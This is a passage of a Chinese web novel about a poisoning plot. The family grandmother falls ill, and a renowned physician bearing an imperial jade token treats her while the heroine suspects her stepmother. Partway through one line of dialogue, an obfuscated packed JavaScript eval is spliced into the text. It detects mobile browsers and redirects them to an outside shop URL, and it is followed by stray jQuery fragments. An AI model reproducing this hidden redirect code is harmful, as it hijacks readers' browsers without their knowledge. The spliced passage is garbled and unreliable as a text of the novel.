这李太医她听说过,医术高超,专治这般疑难杂症。 “是啊老爷,您也别着急,李太医定会有法子的。”于氏扶着陆老爷,面上尽是担忧之色。 陆以蓁抬眼看她,眼中闪过寒意。 不多时,下人通报有医士到了,来的却不是李太医。 陆父不悦道:“李太医可是瞧不上我陆家门楣?就算有急事,也不该如此轻慢!” 怨不得他此般言语,因为来者不仅不是太医院的人,而且一身异族服饰,年岁也不大。 那人伴着一张脸,也不恼,只看向床榻上的病人,平静开口,“再迟些,华佗在世都救不回来。” 不知为何,陆以蓁觉得此人应当真有能力能救治祖母。 她向父亲求道:“父亲,祖母病情危急,请您让这位先生先看看吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329600|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆父眉头紧蹙,看着像是要默许了。哪知他身旁的于氏开始作妖,一脸提防,“这怎么行,这人来历不明,怎么好随便给母亲瞧病。二姐儿,你还是太单纯了,这万一是什么歹人,害了你祖母可怎么办是好。” 她话一出,陆父也有了这层顾虑,正要开口,那异族服饰的医士边冷哼了一声,拿出了一块玉牌。 于氏见到这块玉牌的一瞬间便噤了声。 “原来是张神医,本官与内子刚刚不知先生身份,多有得罪,还请先生海涵。”陆父难得露出谦卑的姿态,“请您为本官母亲看诊。” 他让开身,请这位张神医上前。 张神医先观老太太耳目口舌,再伸手把脉,头也不回道:“诸位请到外面等候,我不喜施诊时有这么多人围着。” 众人就这么到了屋外,陆以蓁感到很诧异。 “他刚刚拿的是圣上亲赐的玉牌,”陆灼瑶小声与她解释,“这位张神医据说是医圣后人,隐居在北方,但从几年前便被宁远候招入麾下。年初七皇子突发恶疾,太医院的医正们都没有法子,是宁远候将这位神医送回京城,不出半月便治好了七皇子的病症,所以圣上亲赐“神医”之名。这下不用担心了,祖母定能安然无恙。” 心下稍安,陆以蓁勉强止住忧虑,拭去眼角湿润。 她们这边安心了些,于氏却开始忐忑不安。她借机离开宝华堂,也不知做什么去了。 今日陆以菁没有来,说是一大早便约了罗府那些姐妹去城郊游玩,到现在都没回来。 陆父脸色不太好看,却也没说什么。 到亥时,张神医还在屋内施针。父亲和魏姨娘都回去休息了,只余下陆灼瑶陆以蓁两姐妹在屋外守着。 “祖母这病实在是突然……”陆灼瑶连连叹气,目光中也满是担忧。 陆以蓁与她坐在一处,此时已没了泪意,冷静道:“长姐,祖母这病,绝非偶然。” 夜晚的风透着沁骨的凉意,陆灼瑶心中咯噔了一下,“你是说?有人要害祖母。” 眼前的女子美艳动人,目光澄澈,陆以蓁愿意相信她,便直言说:“我早前便吩咐了郑妈妈注意祖母的饮食,却不想还是疏忽了一点。来的时候我已让郑妈妈去查了,想来,马上就能得到结果。” 先头她见祖母病情严重,慌乱间未想太多,这会儿回过神来,立马想到了关键。 有一种药物,可治风寒,却也是毒物,服用过量便会导致晕厥昏迷,严重者就会出现中风的迹象。祖母的用药里是有这一样的,但用量适宜便无碍,她当时并未想到这一层。 宝华堂,该是有内鬼了…… 而这李太医,陆以蓁也记起来了。 前世替于氏养胎的,便就是这李太医。李太医没来,于氏脸上的微妙变化,她尽收眼底。 可真是好心机啊。若今天来的是李太医,她又还是前世那个自己,估计祖母便真的岌岌可危了。 虽然不知怎么来的是这位大名鼎鼎行踪不定的张神医,但好在一切都不是最糟糕的情况。